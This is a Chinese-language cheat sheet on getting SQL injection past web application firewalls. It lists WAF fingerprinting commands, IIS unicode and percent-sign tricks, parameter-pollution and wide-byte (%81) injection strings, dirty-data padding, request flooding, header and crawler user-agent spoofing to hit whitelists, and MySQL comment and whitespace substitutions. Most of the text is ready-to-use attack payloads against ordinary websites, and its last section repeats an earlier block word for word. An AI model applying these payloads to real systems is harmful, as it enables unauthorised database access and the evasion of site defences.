一.识别WAF类型
1.Nmap:
用法: nmap -p 80 --script http-waf-fingerprint 网址
demo: nmap -p 80 --script http-waf- detect.nse www.baidu.com
2.Waf00f:
用法:waf00f 网址,该工具kali自带
3.拦截信息观察
根据拦截界面一般可以观察出waf类型,但有的不行
二.观察服务器特性
1.ASP+IIS
如果网站后端语言是ASP,并且使用的IIS中间件,则有可能存在以下waf绕过姿势
(1)%特性:
就是在指令中插入%,导致waf层解析不出完整指令从而放行,但是在数据库层面运行时就可能被识别并解析出完整指令,就达到绕 过waf目的
例子:比如s%elect因为有%隔开,所以waf层可能识别结果就是s%elect,但是在数据库层面可能被识别并解析为select,所以就达到了绕过waf的目的
(2)%u特性:
适用于用unicode编码绕过waf时,unicode编码被iis解析会换成multibyte编码,但是有几个不同的unicode编码会被换成同一个multibyte,而waf层可能只识别其中的一个unicode编码,所以此时换另一个unicode编码就有可能绕过waf的防护
例子:比如select的e对应的unicode编码为%u0065,但是%u00f0和%u0045同样会被化为e,waf可能只能识别其中的%u0065,所以此时我们换成%u00f0,就能成功绕过waf,但是iis解析时同样解析为e所以此时就可以理解为
select=s%u0045lect = s%u0065lect =%u00f0lect
下面为大家准备了常见的uncoide编码替换方案
常见三个关键字(union,select,from)的测试情况:
u --> %u0055 --> %u0075
n --> %u004e --> %u006e
i --> %u0049 --> %u0069
o --> %u004f --> %u006f --> %u00ba
s --> %u0053 --> %u0073
l --> %u004c --> %u006c
e --> %u0045 --> %u0065 --> %u00f0
c --> %u0043 --> %u0063
t --> %u0054 --> %u0074 --> %u00de --> %u00fe
f --> %u0046 --> %u0066
r --> %u0052 --> %u0072
m --> %u004d --> %u006d
2.ASP+IIS和ASPX+IIS
(1)IIS服务器支持对unicode的解析
比如对select命令进行unicode编码,可以的到s%u006c%u0006ect,iis接收时会对unicode编码解析,最后识别为select,但是waf层可能识别不了unicode编码
3.apache畸形绕过
(1)get替换
在GET请求发起的数据包中,GET可以替换为任意字符(一般替换成POST),不影响apahce接收参数id=2,即把请求包我圈上的的GET换成啥都行
三:应用层特性
1.大小写绕过
这个就不需要多讲了,就是将命令中的字符进行一个大小写替换,有时能够绕过waf
例子:把select换成SeleCt(一般waf都会对这个有防护,但还是可以碰碰运气)
2.关键字替换
关键字替换在平时的渗透中使用的较多,主要是寻找同义函数,寻找替代品,一些关键字被防护拦截时就可以尝试替换
下面也为大家准备了一些常用的关键词替换
(1)and --> && --> or ---> xor --> || //(使用时需url编码)(xor只有一真一假才得真,其他都假)
(2)ascii() --> Hex() --> bin() -->ord()
(3)sleep() --> benchmark()
(4)substr() --> mid() --> substring()
(5)user() --> @@user
(6)version() -->@@version
(7)# --> --+ --> ;%00
(8)= --> in --> regexp --> like --> <>
3.双重编码
对命令进行双重编码,unicode,base64,hex都可以尝试,有可能绕过waf的识别
4.变换请求方式
(1)将以GET方式提交的数据通过修改发送的数据包换成以POST方式提交
(2)在POST请求中,可以将Post数据包转为multipart/form-data格式数据包(burp可以换)
5.HPP参数污染
(1)参数混淆
就是注入的时候尝试加入更多参数并改变注入位置来混淆识别机制,假设现有有一个站点的注入点时www.xxxx/?id=1,详情如下(此操作对不同环境效果不同)
操作:
【1】. 加入更多混淆参数
例如:?id=1&id=2&id=3
【2】.在asp + iis环境的中:
系统识别到的真实的id等于1+2+3,即三个id的值会拼接作为接收到的id值,此时我们就可以将攻击命令拆分注入,达到绕过waf的目的
例如:?id=1 union&ID=select 1,2&Id=from admin,此时的真实id的值就是
1 union select 1 from admin
【3】.php+apache的环境中:
此时系统识别到的真实id=3,就是只识别最后一个id的值,前面的id都不管
(2)参数拼接
get+post+cookie三个数据传输方式拼接的传参
(3)过滤逗号
?id=1 select 1,2,3,4 from admin可以修改为下面这种不需要逗号的格式
?id=1 union select 1&id=2&id=3&id=4 from admin
(4)无效参数
例如:?a=/*&sql=xxx&b=*/(无参数形式)
(a和b为无效参数,但a和b的值却构成了注释符(/**/),通过让waf以为这是注释里执行的就不拦截,但此时在a和b中间的参数进行注入就可以了)
(5)溢出形式
溢出形式算是特别常用的一种注入手段,就是依靠缓存溢出机制,用大量的脏数据来使我们的攻击命令绕过waf的拦截
例如:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union select null,system_user,null from INFORMATION_SCHEMA.schemata
6.宽字节绕过
(1)gbk编码转换
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
存在宽字节注入的原因是因为部分防护机制是使用addslashes函数,会在我们输入的非法字符前添加“\”,而“\”会与我们的恶意代码的第一个字符形成gbk编码格式被解析,导致我们注入不成功
例子:注入点:www.xxxx.com?id=1
如果跟正常渗透操作一样加一个单引号,此时他就会生成一个‘\’在单引号前面,成为“\'”跟单引号形成gbk编码
此时我们可以在'的前面加上%81,就会形成下面这样的状态
www.xxxx.com?id=1%81\'
此时%81就会跟生成的\形成gbk编码,即%81%5C,被GBK当做编码识别成为“乗”字,而单引号不受影响正常注入
在线gbk编码对照表:GBK 编码范围, GBK 编码表 (qqxiuzi.cn)
四:WAF层特性:
1.逻辑问题
(1)cdn防护型
有的站点只有cdn有防护,所以我们可以通过查找真实ip,来绕过cdn防护
(2)数据混淆型
即get和post同时提交,有可能waf进入post逻辑,忽略get的有害参数
(3)错误配置型
遇到https的站点时,有可能也同时开放了http服务,此时可能只有https有防护,只需要把url中的https换成http即可绕过
(4)00截断型
%00,部分waf无法识别%00之后的数据,此时可以id=1%00,后面放入注入语句
2.性能问题
(1)数据量问题
填充脏数据使数据达到一定量级,此时注入语句放在最后,比如传入多个参数其他参数,但是最后传入对的是正常参数
(2)处理量问题
同一请求多次发送,有些waf性能较低即可绕过,直接burp一直发
注:这里的两个谨慎使用,可能会影响有些小网站的正常运行
3.白名单
(1)ip白名单
有的waf会设置白名单方便管理员等人员访问与管理,假如此时你获取到了管理员的ip信息,就可以通过修改请求数据包中下面的参数(没有的话直接添加也可以)来绕过waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
(2)静态资源
常见的静态文件(.js .jpg .swf .css等等),因为部分管理员为了方便调用资源,就设置了后缀白名单,waf识别到之后就不会拦截,将请求的数据加上白名单中的静态资源后缀即可绕过waf
例如 :http://10.9.9.201/sql.php/1.js?id=1
(3)URL白名单
这个原理也一样,有的管理员想要减少用于防护的费用,一些不重要的路径就不会进行cdn防护,而判断路径是否重要也是通过添加白名单的方式,只要检测出了在白名单中的路径,就会直接放行
步骤:直接另设一个参数,参数的值为一些路径,也可能绕过
(4)爬虫白名单
这个就比较容易理解,很多网站为了在百度,Goole等搜索引擎里占更多权重,会把这类搜索引擎爬取网页时的UA头添加到白名单,此时只需要把我们的UA头换成搜索引擎的UA即可绕过waf
user-agent伪装成爬虫,下面我也给大家准备了一些常见搜索引擎的爬虫UA头
下面三个分别对应谷歌,百度,雅虎
UserAgent: "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
UserAgent: "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
UserAgent: "Mozilla/5.0 (compatible; Yahoo! Slurp;
五:mysql数据库特性
1.Mysql:
(1)常用:
内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过: %23%0a、%2d%2d%0a
(2)注入语句替换方式
[1]空格常见替换方式
/**/
/*!12345union*/
/*anything*/
[2]空白字符
可添加在任意位置
%09,%0a,%0b,%0c,%0d,%20,%a0都可以替换
一般%a0和%0a合起来用比较多, 即%a0%0a
[3]将注入语句的数字换成浮点型
[4]将空格替换为1E0
[5]空格替换为/N
[6]用空格或者引号包裹函数
[7]特殊符号代替空格
一些时候空格也会称为waf判断的重要依据,所以我们也可以把空格替换成其他字符
下面就是我给大家准备的常见替换方式
1. %21 ! 叹号 2. %2b + 加号 3. %2d - 减号 4. %40 @ 电子邮件符号 5. %7e ~ 波浪号
(3)函数
[1]常见字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
[2]常见字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
[3]特殊字符被过滤
【1】limit的逗号
limit 1 offset 0
【2】字符串截取处的逗号
mid(version() from 1 for 1)
【3】union处的逗号
union select * from (select 1)a join (select 2)b join (select 3)c
【4】过滤了比较符号
greatest代替,greatest返回三个参数的最大值
concat(version(),'|',user());
concat_ws('|',1,2,3)
[3]特殊字符被过滤
【1】limit的逗号
limit 1 offset 0
【2】字符串截取处的逗号
mid(version() from 1 for 1)
【3】union处的逗号
union select * from (select 1)a join (select 2)b join (select 3)c
【4】过滤了比较符号
greatest代替,greatest返回三个参数的最大值